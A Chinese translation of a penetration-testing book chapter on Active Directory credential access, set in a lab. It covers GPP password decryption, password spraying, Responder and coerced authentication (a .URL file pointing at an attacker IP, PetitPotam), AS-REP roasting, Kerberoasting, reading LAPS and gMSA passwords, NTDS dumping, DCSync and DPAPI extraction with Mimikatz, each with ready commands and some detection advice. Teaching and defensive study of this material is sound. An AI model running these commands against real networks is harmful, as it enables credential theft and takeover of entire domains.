  26. 用于 AD 蜜罐令牌的组策略配置: www.bordergate.co.uk/active-directory-honey-tokens/

  27. HoneypotBuster: github.com/JavelinNetworks/HoneypotBuster

  28. DCEPT: github.com/secureworks/dcept

  29. HoneyHash: github.com/EmpireProject/Empire/blob/dev/data/module_source/management/New-HoneyHash.ps1

  30. 如何检测蜜罐哈希: stealthbits.com/blog/implementing-detections-for-the-honeyhash/

进一步阅读

这些资料将帮助你进一步学习,并让你能够更深入地了解本章涉及的攻击内容:

第四章:域中的凭证访问

选择第四章第五章第六章的顺序很困难,因为它们之间有很强的关联性。我们不会涉及如何从主机(如 LSASS、DPAPI、凭证管理器等)转储机密数据。相反,我们将专注于 Active Directory。本章从讨论如何在域中获取明文凭证开始。然后,我们将探索捕获哈希的各种技术,例如强制认证和投毒。中继攻击将在 第五章中讨论,横向移动。接下来将介绍 Kerberos 认证协议以及如何“烤”这只三头犬的不同方法。最后,我们将讨论本地密码管理的安全机制,如本地管理员密码解决方案LAPS)和组管理服务账户gMSA),以及如何从中恢复特权凭证。最后,还将解释 DCSync 攻击及其从 ntds.dit 域控制器导出哈希值的方式。

本章我们将涵盖以下主要内容:

  • 域中的明文凭证

  • 捕获哈希

  • 强制认证

  • 破解 Kerberos 的方法

  • 域中的自动密码管理(LAPS 或 gMSA)

  • DCSync 攻击与 NTDS 凭证外泄

技术要求

在本章中,你需要具备以下条件:

  • VMware Workstation 或 Oracle VirtualBox,要求至少 16 GB 内存、八个 CPU 核心以及至少 55 GB 的存储空间(如果你使用快照,则需要更多空间)。

  • 强烈推荐使用基于 Linux 的操作系统

  • 安装了 Vagrant,并且配置了相应虚拟化平台的插件,以及安装了 Ansible。

  • 在 GOADv2 项目中,我们将使用 DC02、DC03、SRV02 和 SRV03。

域中的明文凭证

在这一部分,我们将讨论获取明文凭证的不同方法。然而,我们不会涉及诸如password.txt文件(存放在共享文件夹中的)默认凭证,或者推送WDigest参数以便从内存中以明文形式导出密码等问题。我们也不会讨论允许在不接触 LSASS 的情况下获取凭证的 Internal Monologue 攻击[1]。我们的重点仅仅是 Active Directory。我们可能会在域中找到一台非常古老的 Windows 2000 之前的计算机,或者域可能受到 MS14-025 漏洞的影响,其中本地管理员密码被加密存储在组策略文件中。我们可以通过密码喷射或搜索 Active Directory 用户的注释字段来试试运气。

老旧,但仍值得尝试

最近,我遇到了一些由Oddvar Moe发布的关于预创建计算机账户的有趣研究[2]。显然,检查将此计算机账户指定为预 Windows 2000 计算机字段将使计算机账户的密码与计算机名称相同。这种情况发生在计算机账户由管理员手动创建且从未在域中使用过时。要查找这样的账户,我们需要寻找UserAccountControl标志值为4128。然后,我们可以提取计算机列表并尝试使用CrackMapExec登录。STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT错误消息会标明猜测的计算机账户密码正确。我们需要在使用计算机账户之前更改密码。这可以通过各种工具完成,例如kpasswd.pyrpcchangepwd.py。需要注意的是,使用 Kerberos 身份验证将使你无需更改计算机账户密码。这一行为由Filip Dragovic发现:twitter.com/filip_drago…

组策略首选项GPP)在 Windows 2008 R2 中引入,旨在帮助系统管理员进行各种配置更改。最危险的一个功能是能够在域计算机上设置本地管理员密码。问题在于密码存储在每个经过身份验证的用户都能读取的 XML 文件中,文件路径为\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\。虽然密码使用 AES-256 密钥进行了加密,但微软在 MSDN 上发布了私钥,从而使得加密变得毫无意义。Sean Metcalf的一篇博客详细解释了这一点,博客地址:[3]。这个攻击基本上由两条命令组成——Oddvar Moe提供的一条命令用于搜索该值,和0x00C651E0提供的 Linux 一行命令用于解密密码:

findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000

还有其他工具,如Gpp-Decrypt和 Metasploit 的post/windows/gather/credentials/gpp模块也可用。修补程序发布后,微软彻底移除了 GPP 中的此功能。

描述字段中的密码

在枚举过程中,我们可能会幸运地在 Active Directory 中用户配置文件的描述字段找到密码。以下截图展示了一个例子:

图 4.1 – 描述字段中的密码

即使描述字段中没有密码,检查它也是一个好主意,因为我们可能会找到关于账户用途的有用信息、IT 工作人员的指示以及其他有价值的内容。然而,这样的账户可能是蜜罐。

密码喷洒

另一种猜测正确凭证的方式是进行密码喷射。我们可以采取不同的方式,例如,尝试将用户名作为密码。在开始之前,非常重要的一点是要先查看密码策略,以避免触发锁定。如果NULL会话绑定不被允许,我们需要一组有效的凭证来拉取密码策略。我们可以通过一个非常强大的工具——CrackMapExec[4]来实现:

crackmapexec smb 192.168.56.0/24 -u jeor.mormont -p '_L0ngCl@w_' --pass-pol

命令的结果如下面的截图所示:

图 4.2 – 密码策略枚举

我们可以使用各种 PowerShell 命令来拉取策略,例如来自 PowerView 的Get-DomainPolicyData命令,或者来自 Active Directory 模块的本地Get-ADDefaultDomainPasswordPolicy命令。

现在我们已经了解了密码策略和锁定规则,并且希望能够获取到用户列表,我们可以开始进行喷射攻击。CrackMapExec 提供了执行喷射的不同选项,例如,使用列表、一对一匹配以及字典列表。让我们尝试进行一种用户名和密码相同的喷射攻击。我们可以运行一个命令,尝试通过 SMB 登录子网内的所有机器(这种方式非常显眼,并且不符合操作安全要求):

crackmapexec smb 192.168.56.0/24 -u user.txt -p user.txt --no-bruteforce --continue-on-success

上一个命令的输出如下面的截图所示(用户hodor的密码是hodor):

图 4.3 – 成功的密码喷射

还有其他可以用于喷射的工具,比如kerbrute[5](ropnop开发)和DomainPasswordSpray[6](dafthack开发)。

在进行喷射攻击之前,仔细枚举域用户是非常重要的,以避免触发可能的诱饵账户。此外,合理选择喷射之间的间隔,因为大量的失败登录尝试(事件 ID 4625)将会触发调查。

在下一节中,我们将讨论如何捕获哈希并避免术语混淆。

捕获哈希

本节将专注于捕获哈希,这是一个广为人知的攻击中的第一步:NTLM 转发。为了更好地理解这一主题,我强烈建议你阅读关于该攻击的最全面的指南[7]。

首先,我们需要稍微介绍一下理论部分。NTLM 认证协议用于网络认证,并且有两个版本。它使用零知识证明的概念,意味着凭证从未通过网络传输。它采用挑战-响应机制,其中服务器发送一组随机数据,客户端则以一个值响应,这个值是将这些数据与一些额外参数和客户端的密钥一起哈希后的结果。作为攻击者,我们的目标是捕获客户端有效的 NTLM 响应。接下来,我们可以尝试破解哈希或转发它。

NTLMv1 已经被弃用,且不被认为是安全的。然而,在较旧的环境中,仍然有可能看到 NTLMv1 的使用。捕获哈希有两种技术:中间人攻击MITM)和强制认证

注意

如果以下文本中有任何不清楚的地方,建议您参考此资源:www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications

让我们从与网络相关的攻击开始:

  • ARP 中毒发生在攻击者位于客户端和服务器之间时。此攻击的成功率取决于网络拓扑结构和加固情况。此外,它可能导致严重的网络中断。

  • DNS 欺骗要求攻击者通过 ARP/DHCPv6 欺骗在网络中引入恶意 DNS 服务器,以便客户端可以通过该服务器进行通信。然后,攻击者可以回复收到的客户端请求。

  • DHCP 中毒是通过向客户端的 DHCP 回复中注入恶意 WPAD 或 DNS 服务器地址来实现的。客户端请求wpad.dat时会触发恶意服务器请求认证。

  • DHCPv6 欺骗之所以可能,是因为 Windows 中的 IPv6 优先级高于 IPv4,并且它是一个多播协议。攻击者可以为客户端提供恶意配置,稍后继续进行 DNS 欺骗。

  • 本地链接多播名称解析(LLMNR)、NetBIOS 名称服务(NBT-NS)和多播域名系统(mDNS)欺骗是可能的,因为 Windows 环境中使用了多播名称解析协议。如果 DNS 解析失败,这些协议将作为回退选项进行解析。攻击者可以回答查询,然后要求客户端进行身份验证。

  • WSUS 欺骗需要 ARP 中毒和一个恶意 WSUS 服务器来向客户端部署恶意更新。

  • ADIDNS 中毒是针对 Active Directory 集成 DNS 的攻击。其思路是注入恶意 DDNS 记录。

  • WPAD 欺骗利用了帮助客户端定位代理配置脚本的功能。在 MS16-077 安全更新之后,此攻击只能通过 ADIDNS 或 DHCPv6 欺骗实现。

如果网络中允许使用 NTLMv1 协议,我们可以尝试将身份验证降级到 NTLMv1,以获得 NTLMv1 响应。它使用弱 DES 加密。我们将一个神奇的挑战值(1122334455667788)添加到Responder的配置文件(/etc/responder/Responder.conf)中并启动它:

sudo responder -I eth1 –-lm --disable-ess

在我们的实验室中,NTLMv1 未启用;然而,在启动 Responder 之后,几分钟内,我们捕获了用户eddard.stark的 NTLMv2 响应:

sudo responder -I eth1

图 4.4 – 捕获 NTLMv2 响应

为了模拟这一活动,实验室作者在winterfell上创建了一个计划任务,用户eddard.stark尝试通过带有拼写错误的 DNS 名称通过 SMB 连接到服务器。由于 DNS 服务器无法解析该名称,广播协议被触发,我们捕获到了 NTLMv2 响应。

为了减少这种捕获的可能性,理想情况下,我们需要停止使用 NTLM。如果无法做到这一点(这通常是情况),应在网络层面应用强密码策略并严格加固。其思路是禁用所有不必要的多播协议和 NTLMv1(在组策略中,将 LAN Manager 设置为 仅发送 NTLMv2 响应。拒绝 LM 和 NTLM)。我们将在下一章提供有关减轻中继攻击的建议。

但是,如果这些网络协议被禁用且 MITM 实际上不可行怎么办?我们可以通过几种方式强制客户端进行身份验证。最近,MDSec[9] 发布了一些有趣的研究。我们可以将某些类型的文件放置在可写共享文件夹中,Windows 会自动进行身份验证并将 NTLM 响应发送到远程机器:SCFURLlibrary-mssearchConnector-ms。一个重要的说明是,攻击者的机器应该位于本地内联网区域内,这意味着可以通过 UNC 路径建立网络连接。该研究的思路是使用启用 WebDAV 的 HTTP 服务器来收集哈希,这被称为 farmer,而用于创建文件的工具被称为 crop。以下两个命令将捕获哈希:

farmer.exe 8888 120
crop.exe \\castelblack\public legit.url \\winterfell@8888\legit.ico

我们还可以手动创建一个 .URL 文件。其原理是我们将一个环境变量放入文件中,这样受害者机器上的资源管理器在查看文件夹时,会在发送请求之前主动查找该变量,从而有效地连接到我们的文件共享,无需任何用户交互。这种行为使我们能够通过 Responder 捕获 NTLMv2 响应。该 .URL 文件的内容可能如下所示:

[InternetShortcut]
URL=any
WorkingDirectory=any
IconFile=\\192.168.56.100\%USERNAME%.icon
IconIndex=1

如下所示,jon.snow 打开一个公开共享的文件夹时,在 Responder 中可以看到结果:

图 4.5 – 打开公共共享文件夹并使用 .URL 文件后捕获的 NTLMv2 响应

注意

盗取 NTLMv2 响应的其他有趣位置在 Osanda Malith 的博文中有详细描述:osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/

为了防止之前提到的文件类型强制身份验证,我们需要通过组策略设置关闭网络文件夹的缩略图显示。接下来,我们将介绍另一种强大的技术,用于捕获哈希,如果之前的所有尝试都未成功的话。

强制身份验证

我们已经讨论了 MITM 能力,现在将详细讨论各种强制身份验证的方法。其思路是标准用户可以强制目标机器账户(通常是域控制器)连接到任意目标。这是通过自动身份验证尝试实现的。你可以在一个包含 15 种已知方法的 5 种协议的库中找到相关内容[10]。接下来,我们将深入探讨每种方法。

MS-RPRN 滥用(PrinterBug)

这是一个 不会修复 的 bug,默认在每个 Windows 环境中启用。其原理是,攻击者通过使用域用户名和密码,可以触发 RpcRemoteFindFirstPrinterChangeNotificationEx 方法,并强制通过 SMB 进行身份验证。我们将在后面讨论 Kerberos 的无约束委派时在第五章中演示此攻击。此滥用的常用工具名为 SpoolSample[11],可在 GitHub 上找到。

MS-EFSR 滥用(PetitPotam)

加密文件系统远程EFSR)协议可以通过多个 RPC 调用滥用,如 EfsRpcOpenFileRaw,迫使 Windows 主机对其他计算机进行身份验证。此 RPC 接口可通过不同的 SMB 管道访问,包括在第三章中讨论的 \pipe\samr\pipe\lsarpc。为了演示这一攻击,我们将使用此概念验证[12]。

我们将在 castelblack 上运行此命令,带有攻击者和域控制器的 IP 地址:

PetitPotam.exe 192.168.56.100 192.168.56.11 1

我们将使用 Responder 捕获域控制器的哈希:

图 4.6 – PetitPotam 强制身份验证成功

第八章中,我们将展示如何将域控制器的哈希转发到运行活动目录证书服务的服务器,有效地使我们能够危及整个域。

WebDAV 滥用

WebDAV 滥用的想法是找到在域中运行此服务的计算机。WebclientServiceScanner[13] 工具可以帮助完成此任务。如果没有客户端运行 WebClient 服务,则可以通过 searchConnector-ms 文件[14] 远程启用该服务。然后,我们可以使用之前的 PetitPotam,结合 基于资源的受限委派RBCD)滥用。我们将在 第五章 的 Kerberos 部分讨论 RBCD 滥用。

MS-FSRVP 滥用(ShadowCoerce)

微软文件服务器远程 VSS 协议MS-FSRVP)用于在远程计算机上创建影像副本。支持两种方法。调用可以通过 SMB 命名管道进行。如果目标计算机未启用 文件服务器 VSS 代理服务,则无法进行攻击。此外,补丁 KB5014692 阻止了强制攻击。我能够运行概念验证[15],但未能在 Windows Server 2019(castelblack)上获得 NTLMv2 响应。以下是强制尝试的结果截图:

图 4.7 — ShadowCoerce 运行中

下一个方法也需要目标计算机上有一个服务在运行。

MS-DFSNM 滥用(DFSCoerce)

与其他强制方法相同,该方法使用通过微软的分布式文件系统命名空间管理协议中的 SMB 命名管道(\pipe\netdfs)提供的 RPC 接口。Filip Dragovic 发现了两种方法(NetrDfsAddStdRootNetrDfsRemoveStdRoot),可以用来强制认证。概念验证代码已发布在 GitHub 上[16]。只需对运行 DFS 的域控制器运行该命令即可。

下一节将涵盖另一种认证协议——Kerberos。理解该协议的机制和工作流对于进一步理解本书内容至关重要。

烤制三头犬

我们不可避免地将达到一个必须讨论并理解 Kerberos 的时刻。该认证协议旨在通过提供有效的票证来访问网络中的服务。

Kerberos 101

在我们讨论可用的攻击途径之前,我们需要更多地理解协议的工作原理。作为一个好的起点,我推荐 hackndo 的博客文章[17]。

我们有三个主要的主体——客户端、服务和密钥分发中心KDC),即域控制器。以下图表[18],该图表发布于微软官网,解释了它的工作原理:

图 4.8 – Kerberos 概述

现在让我们更详细地一步一步跟随认证过程。

  1. KRB_AS_REQKerberos 认证服务请求)由客户端发送到 KDC,并包含各种信息,最重要的是一个时间戳,该时间戳使用密码的哈希版本进行加密。如果客户端存在,那么 KDC 将尝试通过使用接收到的客户端密码的哈希值解密时间戳。如果一切顺利,会生成会话密钥。

  2. KRB_AS_REPKerberos 认证服务回复)将包含票证授予票证TGT),该票证由客户端的密码哈希会话密钥加密,包含有效期和其他信息。它由 KDC 密钥加密,因此只有域控制器可以读取此票证。

  3. KRB_TGS_REQKerberos 票证授予服务请求)由客户端在想要使用某个服务时发送。它包含 TGT、服务和认证器。认证器由步骤 2中的会话密钥加密,并包含用户名和时间戳。如果 TGT 中的会话密钥成功解密了认证器,并且数据匹配,那么认证成功。

  4. KRB_TGS_REPKerberos 票证授予服务回复)将包含请求的服务名称、客户端的名称以及服务和客户端的会话密钥。票证使用服务的密钥和步骤 2中的会话密钥加密。实际上,客户端将解密票证,并提取一个新的会话密钥和票证,以与服务进行通信。

  5. KRB_AP_REQKerberos 应用请求)由客户端发送,包含新的身份验证器和 TGS。身份验证器使用 TGS 中的会话密钥加密。验证方式如步骤 2所示。

现在,我们将讨论事情可能出错的情况。以下攻击执行起来相当简单,但在执行时我们需要保持 OpSec 意识。

ASREQRoast

我们将从一种不利用协议配置错误且需要强大 MITM 攻击的攻击开始。这个思路是拦截 KRB_AS_REQ 数据包并尝试破解用户密码的哈希。该哈希用于加密预身份验证阶段的时间戳。你可以阅读详细讨论此攻击的原始研究[19]。本质上,我们应该拥有 MITM 位置;我们被动地收集流量,然后使用如Pcredz[20]之类的工具提取哈希,稍后可以使用 hashcat[21] 来尝试破解。这种攻击的主要警告是需要获取 MITM 位置。

KRB_AS_REP 烤制(ASREPRoast)

当在 Active Directory 中配置错误,启用了不要求 Kerberos 预身份验证时,就可能发生此攻击。可以在用户对象属性中看到这一点:

图 4.9 – 启用了预身份验证的用户

对于攻击执行,我们将使用 Rubeus[22]。但在输入命令之前,我们需要讨论一些 OpSec 考虑事项。根据文档,我们知道 Rubeus 会找到所有配置错误的帐户并尝试烤制它们。这将在域控制器上生成安全事件,ID=4768 和某些值(票据加密类型 0x17,预身份验证 类型:0):

图 4.10 – 发现 ASREPRoasting 攻击

更好的方法是先提取配置错误的帐户列表,进行更多的侦查(例如,检查蜜罐帐户),然后再进行烤制。我们可以使用 PowerView 来执行此操作:

Get-DomainUser -PreauthNotRequired -verbose

LDAP 搜索过滤器和输出显示在以下截图中:

图 4.11 – 易受 AS-REP 烤制攻击的用户列表

现在,我们可以运行以下命令:

Rubeus.exe asreproast /user:brandon.stark

输出如下图所示:

图 4.12 – 哈希已准备好破解

我们可以使用john--format=krb5asrep)或hashcat-m 18200)来破解哈希。

为了减轻此攻击,我们可以尝试以下措施:

  • 默认情况下,预身份验证已启用,因此请检查为什么某些帐户被禁用了此功能

  • 对禁用预身份验证的帐户应用额外的密码复杂性要求

  • 确保只有特权用户可以更改预身份验证属性

  • 监控更改预身份验证属性的事件(ID 4738 和 ID 5136)

  • 监控烤制尝试(ID 4768 和 ID 4625)

Kerberoasting

该攻击的核心思想是请求一个服务票证ST),并破解哈希以获取服务账户的密码。为了能够请求 ST,我们需要在域中进行身份验证(拥有有效的 TGT)并知道服务主体名称SPN)。SPN 是林中唯一的服务名称。在大多数情况下,服务是由机器账户运行的,这些账户有着长且复杂的密码。但如果一个服务账户有手动设置的密码和 SPN,我们可以试试运气。

有一篇出色的博客文章详细介绍了 Kerberoasting 和 OpSec 的内容,并附有示例[23]。我们会在这里涵盖其中的内容,但原始研究是绝对值得一读的。

总的来说,策略保持不变——找到带有 SPN 的账户并进行 roasting。AS-REP roasting 中可能发生的 OpSec 失败同样适用于这里,以及以下内容:

  • LDAP 搜索过滤器过于宽泛

  • 在短时间内请求了多个 ST(安全事件 ID 为 4769),包括蜜罐账户

  • 请求带有加密降级的 ST

现在,我们将逐步讨论如何避免失败。枚举是成功的关键。根据林的大小,我们可以进行一般的 LDAP 搜索,重点收集有助于我们选择正确目标的信息。在我们的实验室中,最初的枚举可以通过过滤用户来完成,排除掉krbtgt和禁用的账户:

([adsisearcher]'(&(samAccountType=805306368)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))').FindAll()

我们有一个很有前途的候选用户,名为sql_svc。通过 PowerView,我们可以确认这个用户拥有一个 SPN:

图 4.13 – 找到带有 SPN 的用户

为了确保我们不是在处理一个蜜罐,我们可以检查该对象是否确实存在于域中。这个对象的权限是什么?我们真的能从 roasting 它中受益吗?此外,它的pwdLastSetlastLogon属性应该是显而易见的。接下来的聪明做法是检查MsDS-SupportedEncryptionTypes属性中的加密类型。在 Rubeus 中,有一个参数可以过滤启用 AES 的账户:/rc4opsec。最后一步,运行以下命令来获取哈希值(/nowrap选项会将哈希值输出为一行):

Rubeus.exe kerberoast /user:sql_svc

执行前述命令后的输出如下所示:

图 4.14 – Kerberoasting 攻击

然后,我们可以使用 john--format=krb5tgs)或 hashcat-m 13100)来破解这个哈希。在我们讨论缓解措施之前,有一件重要的事情需要补充。如果攻击者有权将 SPN 添加到其他账户上,就可以执行有针对性的 Kerberoasting 攻击。我们将在 第六章中详细讨论这个问题,权限提升

有一个由Luct0r编写的 C# 工具,完全实现了博客文章中的 OpSec 推荐,且可以在 GitHub 上找到[24]。

为了减轻此类攻击,我们需要避免将 SPN 分配给用户帐户。如果无法避免,我们可以使用 组管理服务帐户(gMSA) 进行自动密码管理,接下来我们将讨论这一点。此外,蜜罐帐户、事件日志的及时记录以及搜索过滤器可以帮助识别攻击。

下一部分将展示如果域安全增强配置错误,攻击者如何滥用这些增强功能。

域中的自动密码管理

之前的一些攻击,如 MS14-025 和 Kerberoasting,推动了密码管理自动化的发展。为了解决本地管理员密码轮换问题,LAPS 应运而生。为了应对 Kerberoasting,微软稍后引入了 gMSA。

LAPS

现在,我们将在 essos 域的 braavos 上部署 LAPS,并讨论可能的攻击路径。我将遵循此部署指南[25]。总体步骤包括组件安装、Active Directory 架构扩展、在计算机上部署代理和配置组策略。

安装过程非常简单。只需下载 .msi 文件并进行部署。运行以下命令后,您的架构将会扩展(以架构管理员身份运行):

Update-AdmPwdADSchema

输出将类似于以下截图所示:

图 4.15 – 架构更新成功

下一步是最关键的,因为此处的配置错误可能导致被攻破。我们需要指定可以查看管理员密码的用户。默认情况下,这些用户是 SYSTEM 和“域管理员”组中的成员。这一次,我们将添加非特权用户到此组中:

Set-AdmPwdReadPasswordPermission -OrgUnit "OU=Servers,DC=essos,DC=local" -AllowedPrincipals viserys.targaryen
Set-AdmPwdComputerSelfPermission -OrgUnit "OU=Servers,DC=essos,DC=local"

以下截图展示了命令的输出:

图 4.16 – 授予用户 LAPS 读取权限

现在,我们将换个角度,讨论攻击者的选择。首先,我们需要了解 LAPS 是否已安装。有几种方法可以得到答案:

  • 使用 PowerView 查看计算机对象属性中的 ms-Mcs-AdmPwdExpirationTime 属性

  • C:\Program Files\LAPS\CSE 中搜索 AdmPwd.dll

  • 搜索名为 LAPSpasswords 或类似的 组策略对象(GPO),但不要完全依赖命名

考虑到我们作为域用户登录,我们应该能够发现哪些人被允许读取 LAPS 密码。这可以借助 BloodHound 和 PowerView 来完成。此外,LAPSToolkit[26] 可以作为执行完整攻击链的工具。运行 PowerView 中的 Invoke-ACLScanner 后的输出如以下截图所示:

图 4.17 – 发现具有 ReadLAPS 权限的用户

如果我们已经妥协了这样的用户,我们可以通过 Get-LAPSPasswords PowerShell 命令获取本地管理员密码[27]。此操作的输出如以下截图所示:

图 4.18 – 本地管理员密码泄露

我们在此可以引入的唯一缓解措施是小心谁被委托有权揭示密码,并确保通过组策略强制设置过期时间。这将帮助我们确保密码定期更改。

gMSA

gMSA 在 Windows Server 2016 中引入,但可以在 Windows Server 2012 及以上版本中使用。它的理念与 LAPS 的创建有许多相似之处,但与本地管理员账户不同,它用于服务账户。

gMSA 是活动目录中的一种对象类型,具有属性和权限。最有趣的属性是msDS-ManagedPassword(包含密码的二进制大对象)和msDS-GroupMSAMembership(谁可以读取该二进制大对象)。让我们部署 gMSA 并讨论攻击步骤。

第一步是使用以下两个命令创建 gMSA(以域管理员身份运行,而不是在域控制器上运行):

Add-KdsRootKey -EffectiveTime (Get-Date).AddHours(-10)
New-ADServiceAccount -Name sql_acc -DNSHostname braavos.essos.local

我们可以看到该账户已成功创建在活动目录用户和计算机控制台中:

图 4.19 – gMSA 创建成功

第二步是设置允许检索明文密码的主体。我们将再次在一个非特权用户上设置主体,以演示攻击:

Set-ADServiceAccount -Identity 'sql_acc' -PrincipalsAllowedToRetrieveManagedPassword 'viserys.targaryen'

攻击者可以使用以下命令来获取关于能够检索受管理密码的主体的信息:

Get-ADServiceAccount -filter * -prop * | select name,PrincipalsAllowedToRetrieveManagedPassword

命令的输出如下所示:

图 4.20 – 用户检索 gMSA 密码

第三步是妥协用户并将密码作为二进制大对象提取,攻击者随后可以使用以下命令和 DSInternals[28] 模块将其转换为 NT 哈希:

$pwd = Get-ADServiceAccount -identity sql_acc -Properties msds-ManagedPassword
$pw = ConvertFrom-ADManagedPasswordBlob $pwd.'msds-managedpassword'
ConvertTo-NTHash $pw.securecurrentpassword

以下截图显示了 SecureCurrentPasswordCurrentPassword 的 UTF-16 格式。我们还将 SecureCurrentPassword 转换为 NT 哈希:

图 4.21 – gMSA 密码的 NT 哈希

然后可以使用该哈希值进行传递哈希攻击,我们将在下一章中讨论这种攻击。

但是,如果没有安装 AD 模块,我们可以使用 Windows 编写的 GMSAPasswordReader(由 rvazarkar 编写),或在 Linux 上使用 gMSADumper(由 micahvandeusen 编写)。唯一的注意事项是我们需要账户名来转储其哈希。以具有读取 gMSA 密码权限的用户身份运行简单命令:

.\GMSAPasswordReader.exe --Accountname sql_acc

我们将获得以下输出:

图 4.22 – 使用 GMSAPasswordRead 工具的结果

和往常一样,缓解措施是确保正确设置 GMSA 的权限。同时,可以配置并监控事件日志中的事件 ID 4662,这将显示哪个账户查询了 msDS-ManagedPassword 属性。

NTDS 秘密

我们将讨论 NTDS 密码提取,因为此攻击仅适用于域控制器。ntds.dit 文件是一个数据库,用于存储 Active Directory 数据,包括哈希值。该文件位于 %systemroot\NTDS\ntds.dit%systemroot\System32\ntds.dit 中。它会持续被使用,因此不能像其他文件一样直接复制。ntds.dit 数据有多种转储方式[31]:

  • ntdsutil.exe – Active Directory 维护工具

  • VSSAdmin – 卷影复制

  • vshadow

  • DiskShadow

  • esentutl.exe

  • NinjaCopy 来自 PowerSploit

  • Copy-VSS 来自 Nishang

  • windows/gather/credentials/domain_hashdump 来自 Metasploit

对于我们的示例,在域控制器上,我们将运行 ntdsutil.exe,它将保存 ntds.dit 文件和 SYSTEM 注册表 Hive,然后我们可以将其移动到我们的机器上,并使用 secretsdump 提取哈希:

ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\NTDS" quit
secretsdump -ntds ntds.dit.save -system system.save LOCAL

输出如下面的截图所示:

图 4.23 – 从 NTDS.dit 提取的哈希

为了检测转储,我们需要启用命令行审计,并监视事件 ID 4688,以查找使用前述工具的迹象。在应用程序日志中,检查 NTDS 数据库的创建和分离,事件 ID 为 325、326、327 和 216。

在下一节中,我们将执行一个 DCSync 攻击,针对域控制器进行,该攻击不需要我们在机器上运行任何命令。我们可以通过网络进行,如果配置不当,我们的用户可能会失去所有权限。

DCSync

DCSync 使用域控制器的 API 来模拟从远程域控制器的复制过程。简而言之,DCSync 通过 RPC 请求执行域控制器的 DsGetNCChanges 操作,访问 Directory Replication Service APIDRSUAPI)。此攻击需要扩展权限,DS-Replication-Get-ChangesDS-Replication-Get-Changes-All,这些权限默认只分配给“域控制器”、“域管理员”、“管理员”和“企业管理员”组。

如果我们能够通过扩展权限入侵用户,我们可以运行 secretsdump 获取域中的所有哈希:

/usr/bin/impacket-secretsdump -outputfile 'something' 'essos'/'daenerys.targaryen':'BurnThemAll!'@'192.168.56.12'

前述命令产生的输出如下所示:

图 4.24 – DCSync 攻击结果

正如我们所见,DCSync 攻击非常强大,能够完全接管整个域。为了减少攻击痕迹,攻击者可能会直接在域控制器上运行此攻击,避免被网络检测到。然而,这需要域管理员权限。

可以通过网络流量分析或事件日志监控来检测攻击。我们可以分析朝向域控制器的流量,检查是否有其他域控制器发起了DsGetNCChanges操作的 DRSUAPI RPC 请求。这可以借助名为DCSYNCMonitor[32]的工具完成。该工具接受域控制器列表,并且当来自未知源的请求出现时,会生成事件。

在 Windows 事件日志中,我们可以检查事件 ID 4662,并评估属性值以控制访问权限:

  • 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2** (DS-Replication-Get-Changes-All**)

  • 89e95b76-444d-4c62-991a-0facbeda640c** (DS-Replication-Get-Changes-In-Filtered-Set**)

  • 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2** (DS-Replication-Get-Changes**)

然后,我们需要检查帐户名称的值是否为域控制器。如果不是,那么我们可以可靠地检测到 DCSync。即使 DCSync 在域控制器本地运行,事件 ID 4662 仍会出现在日志中。

另外,鉴于 DCSync 使用 RPC 协议,可以通过基于 DRSUAPI 的 UUID 在端点上使用 ETW 进行检测。将DSRUAPI UUIDe3514235-4b06-11d1-ab04-00c04fc2dcd2)和OpNum 3IDL_DRSGetNCChanges)关联起来,将是恶意活动的良好指示器[33]。

通过 DPAPI 以明文方式转储用户凭据

让我们通过一个场景来进行说明。在遵循内部安全政策并经过安全意识培训后,用户开始使用 Windows 中的凭据管理器,而不再使用password.txt文件。凭据管理器是 Windows 内置的密码管理器,使用数据保护 APIDPAPI)。DPAPI 允许程序(如 Chrome 或 RDP)透明地存储敏感数据。数据存储在用户目录中,并通过从用户密码派生的密钥进行加密。我们的目标用户khal.drogo在其凭据管理器中存储了 SQL 系统管理员SA)帐户的凭据。攻击者已经获得了该用户的域管理员权限,并打算以明文形式提取 SA 密码。存在三种攻击场景:

  • 获取khal.drogo的主密钥并进行解密

  • 如果您具有本地管理员权限,则提取所有本地主密钥

  • 使用Domain Admins组中的帐户提取所有备份主密钥

出于演示目的,我们选择了第三个路径。所有命令都在daenerys.targaryen帐户下运行(该帐户是“域管理员”组的成员)。

成功提取密码所需的步骤如下:

  1. 定位凭据文件。文件被隐藏,并位于以下路径:

    dir /a:h C:\Users\khal.drogo\AppData\Local\Microsoft\Credentials\*
    
  2. 使用 Mimikatz 的dpapi::cred命令和凭据文件的路径查找guidMasterKey值:

    mimikatz.exe "dpapi::cred /in:C:\Users\khal.drogo\AppData\Local\Microsoft\Credentials\value_from_step_1"
    
  3. 从域控制器提取备份主密钥:

    mimikatz.exe "lsadump::backupkeys /system:meereen.essos.local /export"
    
  4. 获取用户khal.drogo的主密钥:

    mimikatz.exe "dpapi::masterkey /in:"C:\Users\khal.drogo\AppData\Roaming\Microsoft\Protect\{USER_SID}\guidMasterKey_from_step_2" /pvk:private_keyfile_from_step_3.pvk
    
  5. 解密保存的凭据:

    mimikatz.exe "dpapi::cred /in: C:\Users\khal.drogo\AppData\Local\Microsoft\Credentials\value_from_step_1 /masterkey:key_value_from_step_4"
    

可以在以下截图中看到命令执行的结果:

图 4.25 – 明文 sa 密码

该技术可以通过命令行审计进行检测,从而生成事件 ID 4688,标记恶意工具的使用。更好的选择是启用对象审计,检查事件 ID 4662,查看对象类型(SecretObject)、对象名称(*UPKEY*)和访问掩码(0x2)的值。

简单提一下,通过 DCSync 也可以导出备份密钥。需要在 Active Directory 中找到该密钥的域对象 GUID 以进一步导出。

总结

本章介绍了可以帮助您获取凭证(无论是明文形式还是哈希形式)的工具和技术。获取这些敏感数据是攻击 Active Directory 时向前推进的关键步骤。我们还讨论了 OpSec 考虑因素以及可能的缓解/检测选项。

在下一章中,我们将介绍域内以及森林之间的横向移动。我们将重点讨论中继和各种类型的通行证攻击,最后介绍 Kerberos 委托滥用和森林之间的横向移动。

参考资料

